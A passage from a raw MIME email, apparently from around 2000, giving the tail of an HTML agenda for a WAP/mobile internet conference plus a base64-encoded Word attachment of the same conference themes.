<P><FONT color=3D#000000 face=3DArial size=3D3>From ASP offers to &quot; =
knowledge=20
management &quot;, the corporate portal is the marketplace for business=20
information. Will the multiplication of mobile terminals and corporate =
portals=20
finally set the scene for the development of the &quot; mobile offfice =
&quot;=20
?</FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>4:00pm &ndash;=20
5:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Virtual =
Communities and Mobile=20
&quot; Tribes &quot; </STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>How is a mobile virtual =
community=20
developed ? What are the existing applications ? How to pass from a =
&quot; fixed=20
community &quot; to a &quot; mobile community &quot;. </FONT></P>
<P align=3Dcenter><FONT color=3D#000000 face=3DArial =
size=3D3></FONT><FONT=20
size=3D3>***********************************</FONT></P></FONT></FONT></DI=
V>
<DIV><B><U><FONT face=3DArial size=3D4><B><U><FONT face=3DArial =
size=3D4>
<P>&nbsp;</P></FONT></U></B></FONT></U></B></DIV></DIV></BODY></HTML>

------=_NextPart_001_0546_01BFE28C.AEA65B60--

------=_NextPart_000_0545_01BFE28C.AEA65B60
Content-Type: application/msword;
	name="WAP CONVENTION Conference Themes.doc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="WAP CONVENTION Conference Themes.doc"
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAALwAAAAAAAAAA
EAAAMQAAAAEAAAD+////AAAAAC4AAAD/////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////s
pcEAWQAMBAAAABK/AAAAAAAAEAAAAAAABAAA7w8AAA4AYmpiavNX81cAAAAAAAAAAAAAAAAAAAAA
AAAMBBYAIigAAJE9AQCRPQEA7wsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA
AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAF0AAAAAAOQBAAAAAAAA5AEAAOQB
AAAAAAAA5AEAAAAAAADkAQAAAAAAAOQBAAAAAAAA5AEAABQAAAAAAAAAAAAAAPgBAAAAAAAA+AEA
AAAAAAD4AQAAAAAAAPgBAAAAAAAA+AEAAAwAAAAEAgAAHAAAAPgBAAAAAAAAWA0AAO4AAAAsAgAA
AAAAACwCAAAAAAAALAIAAAAAAAAsAgAAAAAAACwCAAAAAAAALAIAAAAAAAAsAgAAAAAAACwCAAAA
AAAAbAkAAAIAAABuCQAAAAAAAG4JAAAAAAAAbgkAAD0AAACrCQAAugEAAGULAAC6AQAAHw0AACQA
AABGDgAA9AEAADoQAABqAAAAQw0AABUAAAAAAAAAAAAAAAAAAAAAAAAA5AEAAAAAAAAsAgAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAACwCAAAAAAAALAIAAAAAAAAsAgAAAAAAAEMNAAAAAAAA
2AMAAAAAAADkAQAAAAAAAOQBAAAAAAAALAIAAAAAAAAAAAAAAAAAACwCAAAAAAAALAIAAAAAAADY
AwAAAAAAANgDAAAAAAAA2AMAAAAAAAAsAgAAIgAAAOQBAAAAAAAALAIAAAAAAADkAQAAAAAAACwC
AAAAAAAAbAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAOQBAAAAAAAA5AEA
AAAAAADkAQAAAAAAAOQBAAAAAAAALAIAAAAAAABsCQAAAAAAANgDAACUBQAA2AMAAAAAAAAAAAAA
AAAAAGwJAAAAAAAA5AEAAAAAAADkAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAkAAAAAAAAsAgAAAAAAACACAAAMAAAAIKscd13c
vwH4AQAAAAAAAPgBAAAAAAAATgIAAIoBAABsCQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV0FQ
IENPTlZFTlRJT04gMjAwMA1DT05GRVJFTkNFIFRIRU1FUw0NREFZIDENDVJvb20gMaA6DQ0xMDoz
MGFtIJYgMTI6MDAgbWlkZGF5DU1vYmlsZSBJbnRlcm5ldCBhbmQgdGhlIExhdyANVGhlIGRlcGxv
eW1lbnQgb2YgTW9iaWxlIHRlcm1pbmFscyAoU21hcnQgcGhvbmUsIGUtYm9vaywgUERBLCByYWRp
bywgZ2FtZSBjb25zb2xlcyBldGMpIHBvc2VzIG5ldyBsZWdhbCBxdWVzdGlvbnMuIFRoZSBwcm90
ZWN0aW9uIG9mIHBlcnNvbmFsIGluZm9ybWF0aW9uLCBjb250ZW50IG93bmVyc2hpcCwgZGlzdHJp
YnV0aW9uIHJpZ2h0c4UuLiANQ2FuIGFuIGFuYWxvZ3kgYmUgbWFkZSB3aXRoIHRoZSBqdXJpc3By
dWRlbmNlIG9mIHRoZSBJbnRlcm5ldKA/IA0NMjowMHBtIJYgMzozMHBtDU1BZKA6IJOgTW9iaWxl
IEFkdmVydGlzaW5noJQNTW9iaWxlIEludGVybmV0IGFuZCBXQVAgYXJlIGVuY291cmFnaW5nIG5l
dyBmb3JtcyBvZiBleHByZXNzaW9uIGZvciBhZHZlcnRpc2Vycy4gV2hhdCBtZXRob2RzIGNhbiBi
ZSB1c2VkIGZvciBtb2JpbGUgYWR2ZXJ0aXNpbmegPyBGcm9tIGN1c3RvbWlzZWQgbWVzc2FnZXMg
dG8gMS10by0xIG1hcmtldGluZywgd2hpY2ggbWV0aG9kIGlzIGFkYXB0ZWQgdG8gd2hpY2ggdGVy
bWluYWygPw0NNDowMHBtIJYgNTozMHBtDU0tTWFya2V0aW5nIA1NYXJrZXRpbmcgaXMgYWRvcHRp
bmcgTW9iaWxlIEludGVybmV0LiBXaGF0IGFyZSB0aGUgZW1lcmdpbmcgdHJlbmRzoD8gV2hhdCBh
cmUgdGhlIG5ldyBvcHBvcnR1bml0aWVzIG1hZGUgYXZhaWxhYmxlIHRvIG1hcmtldGVycyBieSB0
aGUgZGV2ZWxvcG1lbnQgb2YgTW9iaWxlIEludGVybmV0oD8NDQ1Sb29tIDKgOg0NMTA6MzBhbSCW
IDEyOjAwIG1pZGRheQ1XQVAgaXMgZGVhZCwgaG9vcmF5IGZvciBXQVCgISANVGhlIGFycml2YWwg
b2YgV0FQIG9uIG1vYmlsZSB0ZWxlcGhvbmVzIGlzIGp1c3QgdGhlIHZlcnkgZmlyc3Qgc3RlcCBv
ZiBhIG1ham9yIHRlY2hub2xvZ2ljYWwgdGlkYWwgd2F2ZS4gR1BSUywgZm9sbG93ZWQgYnkgVU1U
Uywgd2lsbCB0aGVuIHNlcnZlIHRvIGFtcGxpZnkgYW5kIGltcHJvdmUgYWNjZXNzIHRvIHRoZSBt
dWx0aXR1ZGUgb2Ygc2VydmljZXMgcHJvcG9zZWQuIEZ1dHVyZSBwcm9zcGVjdHMuDQ0yOjAwcG0g
liAzOjMwcG0NVGhlIE1vYmlsZSBJbnRlcm5ldCBNYXJrZXQgDVRoZSBtYXJrZXQgaXMgZGV2ZWxv
cGluZyBhdCBhIGZyZW5ldGljIHBhY2UuIFdoYXQgYXJlIHRoZSBwcmluY2lwYWwgZWxlbWVudHMg
YW5kIHdobyBhcmUgdGhlIGFjdG9yc6A/IEFyZSB3ZSBoZWFkaW5nIHRvd2FyZHMgYSCroHBsYXll
ciB3YXKguywgc2ltaWxhciB0byB0aGUgd2FyIGFscmVhZHkgc2VlbiBiZXR3ZWVuIGJyb3dzZXJz
oD8gV2hhdCBhcmUgdGhlIGNvbnNlcXVlbmNlcz8NDTQ6MDBwbSCWIDU6MzBwbQ1Nb2JpbGUgSW50
ZXJuZXSgOiB0aGUgTmV3IEtpZHMgb24gdGhlIEJsb2NrLiANU2l4IGlubm92YXRpdmUgc3RhcnQt
dXBzIHByZXNlbnQgdGhlaXIgY29tcGFuaWVzLg0NRGF5IDINDVJvb20gMaA6DQ0xMDozMGFtIJYg
MTI6MDAgbWlkZGF5IA1UaGUgTXVsdGktQWNjZXNzIFBvcnRhbCANRWFjaCB0ZXJtaW5hbCAoUERB
LCBTbWFydCBwaG9uZSwgY29tcHV0ZXIsIHRlbGV2aXNpb24sIHJhZGlvLCBnYW1lIGNvbnNvbGWF
KSBoYXMgaXRzIG93biBzcGVjaWZpY2F0aW9ucy4gVGhlIHVzZXIgY2FuIG5vdyBjcmVhdGUgaGlz
IG93biBtZW51IGFjY29yZGluZyB0byBjb250ZW50IG5lZWRzLCBsb2NhdGlvbiwgYW5kIHRpbWUg
YXZhaWxhYmxlLiBXaGljaCBjb250ZW50IHRvIGNhdGVyIGZvciBzcGVjaWZpYyBuZWVkc6A/IFdo
aWNoIHNlcnZpY2VzIGZvciB3aGljaCB0ZXJtaW5hbHOgPw0NMjowMHBtIJYgMzozMHBtDVZhbHVl
LWFkZGVkIFNlcnZpY2VzIGZvciBNb2JpbGUgVGVybWluYWxzIA1UaGUgZGVwbG95bWVudCBvZiBN
b2JpbGUgSW50ZXJuZXQgYW5kIHRoZSBkZXZlbG9wbWVudCBvZiBicm9hZGJhbmQgYWxsb3dzIHRo
ZSBkaXN0cmlidXRpb24gb2YgbmV3IGNvbnRlbnQuIFdoaWNoIHNlcnZpY2VzIHNob3VsZCBiZSBw
cm9wb3NlZCB0byBwcm9mZXNzaW9uYWxzIGFuZCB0aGUgZ2VuZXJhbCBwdWJsaWOgPyBQYWNrYWdl
cyBhbmQgcHJpY2luZy4NDTQ6MDBwbSCWIDU6MzBwbQ1NLUJ1c2luZXNzIA1BIHN0ZXAgZm9yd2Fy
ZCBmcm9tIGUtYnVzaW5lc3MsIE0tYnVzaW5lc3MgaXMgZGV2ZWxvcGluZyBhdCB0aGUgcmFwaWQg
cmF0ZSBvZiB0aGUgZXZvbHV0aW9uIG9mIHRlcm1pbmFscy4gV2hhdCBhcHBsaWNhdGlvbnMgYXJl
IGN1cnJlbnRseSBpbiB1c2WgPyBUcmVuZHMgYW5kIHByb3NwZWN0cy4NDQ1Sb29tIDKgOg0NMTA6
MzBhbSCWIDEyOjAwIG1pZGRheSANTmV3IENvbnRlbnQgYW5kIE1vYmlsZSBUZXJtaW5hbHMgDVdp
dGggdGhlIGFycml2YWwgb2YgR1BSUyBhbmQgdGhlbiBVTVRTLCCToHJpY2ggbWVkaWGglKB3aWxs
IHRha2Ugb3ZlciBtb2JpbGUgdGVybWluYWxzLiBXaGF0IGlzIHRoZSBjb250ZW50IG9mIHRvbW9y
cm93oD8gV2hvIGFyZSB0aGUgbmV3IHByb2R1Y2VycyBhbmQgZGlzdHJpYnV0b3JzoD8gDQ0yOjAw
cG0gliAzOjMwcG0NQ29ycG9yYXRlIFBvcnRhbCANRnJvbSBBU1Agb2ZmZXJzIHRvIJOga25vd2xl
ZGdlIG1hbmFnZW1lbnSglCwgdGhlIGNvcnBvcmF0ZSBwb3J0YWwgaXMgdGhlIG1hcmtldHBsYWNl
IGZvciBidXNpbmVzcyBpbmZvcm1hdGlvbi4gV2lsbCB0aGUgbXVsdGlwbGljYXRpb24gb2YgbW9i
aWxlIHRlcm1pbmFscyBhbmQgY29ycG9yYXRlIHBvcnRhbHMgZmluYWxseSBzZXQgdGhlIHNjZW5l
IGZvciB0aGUgZGV2ZWxvcG1lbnQgb2YgdGhlIKugbW9iaWxlIG9mZmZpY2Wgu6A/DQ00OjAwcG0g
liA1OjMwcG0NVmlydHVhbCBDb21tdW5pdGllcyBhbmQgTW9iaWxlIKugVHJpYmVzoLsgDUhvdyBp
cyBhIG1vYmlsZSB2aXJ0dWFsIGNvbW11bml0eSBkZXZlbG9wZWSgPyBXaGF0IGFyZSB0aGUgZXhp
c3RpbmcgYXBwbGljYXRpb25zoD8gSG93IHRvIHBhc3MgZnJvbSBhIKugZml4ZWQgY29tbXVuaXR5
oLsgdG8gYSCroG1vYmlsZSBjb21tdW5pdHmguy4gDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAJwQAACwEAAAtBAAA
NwQAAGsEAABsBAAAcwUAAKAFAAB/BgAAmwYAAEYHAABRBwAAaAcAAIcHAABvCAAAmwgAAHoJAAC4
CQAA6gkAAPwJAAAtCgAARgsAAIELAABQDAAAbAwAABYNAAAhDQAAWw0AAAMOAAAmDgAAHQ8AAFkP
AADvDwAA9+337ffj9+P34/fX9+P34/fj99fj9+P34/fX4/fj9+P3AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAFjUIgT4qAUNKGgBPSgIAUUoCAG1ICQgAEzUIgUNKGgBPSgIAUUoCAG1I
CQgTPioBQ0oaAE9KAgBRSgIAbUgJCBBDShoAT0oCAFFKAgBtSAkIIQAEAAAUBAAAJgQAACcEAAAt
BAAALgQAADcEAAA4BAAATwQAAGwEAAAyBQAAcwUAAHQFAACEBQAAoQUAAH4GAAB/BgAAjwYAAJwG
AABFBwAARgcAAEcHAABQBwAAUQcAAGgHAACHBwAAbwgAAHAIAAD9AAAAAAAAAAAAAAAA/QAAAAAA
AAAAAAAAAP0AAAAAAAAAAAAAAAD6AAAAAAAAAAAAAAAA9wAAAAAAAAAAAAAAAPcAAAAAAAAAAAAA
AAD6AAAAAAAAAAAAAAAA+gAAAAAAAAAAAAAAAPoAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAA9QAA
AAAAAAAAAAAAAPMAAAAAAAAAAAAAAADzAAAAAAAAAAAAAAAA8wAAAAAAAAAAAAAAAPEAAAAAAAAA
AAAAAADxAAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAPEAAAAAAAAAAAAAAADxAAAAAAAAAAAAAAAA
8QAAAAAAAAAAAAAAAPEAAAAAAAAAAAAAAADxAAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAPoAAAAA
AAAAAAAAAADxAAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAO0AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAADEAARhMQCAAEQAAABAAAAAREAAw8AAyQDAw8AAyQAAAEPAAAbAAQAABQEAAAmBAAAJwQAAC0E
AAAuBAAANwQAADgEAABPBAAAbAQAADIFAABzBQAAdAUAAIQFAAChBQAAfgYAAH8GAACPBgAAnAYA
AEUHAABGBwAARwcAAFAHAABRBwAAaAcAAIcHAABvCAAAcAgAAIAIAACcCAAAeQkAAHoJAACKCQAA
uAkAAOoJAADrCQAA8QkAAPIJAAD7CQAA/AkAABQKAAAtCgAARgsAAEcLAABXCwAAggsAAE8MAABQ
DAAAYAwAAGwMAAAVDQAAFg0AABcNAAAgDQAAIQ0AADkNAABbDQAAAw4AAAQOAAAUDgAAJg4AAB0P
AAAeDwAALg8AAFkPAADtDwAA7g8AAO8PAAD9/f39/f39/f37+wAAAPn5+fn5+fn5+f35+fkA+fn5
+fn5+fn5+fn5+fn5APn5+fn5+fn5+fn5+fn5APn5+fn59/f3AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAACAQEAAwIQAAMCEQADAg8AAENwCAAAgAgAAJwIAAB5CQAAegkA
AIoJAAC4CQAA6gkAAOsJAADxCQAA8gkAAPsJAAD8CQAAFAoAAC0KAABGCwAARwsAAFcLAACCCwAA
TwwAAFAMAABgDAAAbAwAABUNAAAWDQAAFw0AACANAAAhDQAAOQ0AAFsNAAD9AAAAAAAAAAAAAAAA
+wAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAAAPsAAAAA
AAAAAAAAAAD7AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAAAAAAAAAA
AAAA+wAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAAAPsA
AAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA/QAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAAAAAA
AAAAAAAA+wAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAA
APsAAAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAA
AAAAAAAAAAAA+wAAAAAAAAAAAAAAAAAAAAAAAAEQAAABAAAAHVsNAAADDgAABA4AABQOAAAmDgAA
HQ8AAB4PAAAuDwAAWQ8AAO8PAAD9AAAAAAAAAAAAAAAA/QAAAAAAAAAAAAAAAPsAAAAAAAAAAAAA
AAD9AAAAAAAAAAAAAAAA/QAAAAAAAAAAAAAAAP0AAAAAAAAAAAAAAAD9AAAAAAAAAAAAAAAA/QAA
AAAAAAAAAAAAAP0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEQAAAJIAAcUAEAH7CCLiCwxkEhsIkFIrCJ
BSOQiQUkkIkFJbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
